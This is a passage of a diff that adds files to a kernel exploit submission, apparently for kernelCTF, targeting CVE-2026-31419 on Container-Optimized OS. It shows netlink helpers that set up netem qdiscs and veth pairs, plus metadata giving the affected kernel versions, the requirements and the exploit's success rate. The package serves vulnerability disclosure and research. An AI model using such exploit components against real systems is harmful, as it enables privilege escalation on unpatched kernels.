NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("netem") + 1, "netem")); + + struct tc_netem_qopt qopt_attr={}; + qopt_attr.latency = usec; + qopt_attr.limit = 1; + m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((size_t)(m) + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_OPTIONS, sizeof(qopt_attr), (char *)&qopt_attr)); + return (char *)m; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h new file mode 100644 index 000000000..8fbb1d0ea --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h @@ -0,0 +1,10 @@ +#include "net.h" + +enum QDISC_OPS { + QDISC_ADD, + QDISC_CHANGE +}; + +char * netemQdisc(enum QDISC_OPS OPS, u32 handle, u32 parent, u32 usec); + +char * qdiscDel(u32 handle); diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c new file mode 100644 index 000000000..d615b7d21 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c @@ -0,0 +1,58 @@ +#include "veth.h" + +#define NEWLINK_BUF_SIZE 512 + +struct newlink_req { + struct nlmsghdr nlh; + struct ifinfomsg ifi; + char attrbuf[NEWLINK_BUF_SIZE]; +}; + +char * vethAdd(const char *name, const char *peer_name) +{ + struct newlink_req *req = calloc(1, sizeof(struct newlink_req)); + + req->nlh.nlmsg_type = RTM_NEWLINK; + req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; + req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + + req->ifi.ifi_family = AF_UNSPEC; + req->ifi.ifi_index = 0; + + if (name) { + req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr( + (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len), + IFLA_IFNAME, strlen(name) + 1, (char *)name)); + } + + struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len); + li->rta_type = IFLA_LINKINFO; + li->rta_len = RTA_LENGTH(0); + + li->rta_len += RTA_ALIGN(add_rtattr( + (size_t)li + li->rta_len, IFLA_INFO_KIND, 5, "veth")); + + struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len); + data->rta_type = IFLA_INFO_DATA; + data->rta_len = RTA_LENGTH(0); + + struct rtattr *peer = (struct rtattr *)((size_t)data + data->rta_len); + peer->rta_type = VETH_INFO_PEER; + peer->rta_len = RTA_LENGTH(sizeof(struct ifinfomsg)); + + struct ifinfomsg *peer_ifi = (struct ifinfomsg *)RTA_DATA(peer); + memset(peer_ifi, 0, sizeof(*peer_ifi)); + peer_ifi->ifi_family = AF_UNSPEC; + + if (peer_name) { + peer->rta_len += RTA_ALIGN(add_rtattr( + (size_t)peer + peer->rta_len, + IFLA_IFNAME, strlen(peer_name) + 1, (char *)peer_name)); + } + + data->rta_len += RTA_ALIGN(peer->rta_len); + li->rta_len += RTA_ALIGN(data->rta_len); + req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len); + + return (char *)req; +} diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h new file mode 100644 index 000000000..74ea2b0e1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h @@ -0,0 +1,12 @@ +#ifndef VETH_H +#define VETH_H + +#include "net.h" + +#ifndef VETH_INFO_PEER +#define VETH_INFO_PEER 1 +#endif + +char * vethAdd(const char *name, const char *peer_name); + +#endif diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json new file mode 100644 index 000000000..ccc5fb031 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json @@ -0,0 +1,24 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp454"], + "vulnerability": { + "cve": "CVE-2026-31419", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2884bf72fb8f03409e423397319205de48adca16", + "affected_versions": ["3.12-rc1 - 7.0-rc6"], + "requirements": { + "attack_surface": ["userns"], + "capabilities": ["CAP_NET_ADMIN"], + "kernel_config": [ + "CONFIG_BONDING" + ] + } + }, + "exploits":{ + "cos-121-18867.294.134": { + "environment": "cos-121-18867.294.134", + "uses": ["userns"], + "requires_separate_kaslr_leak": false, + "stability_notes": "7 times success per 10 times run" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz new file mode 100644 index 000000000..8549a22f6 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz differ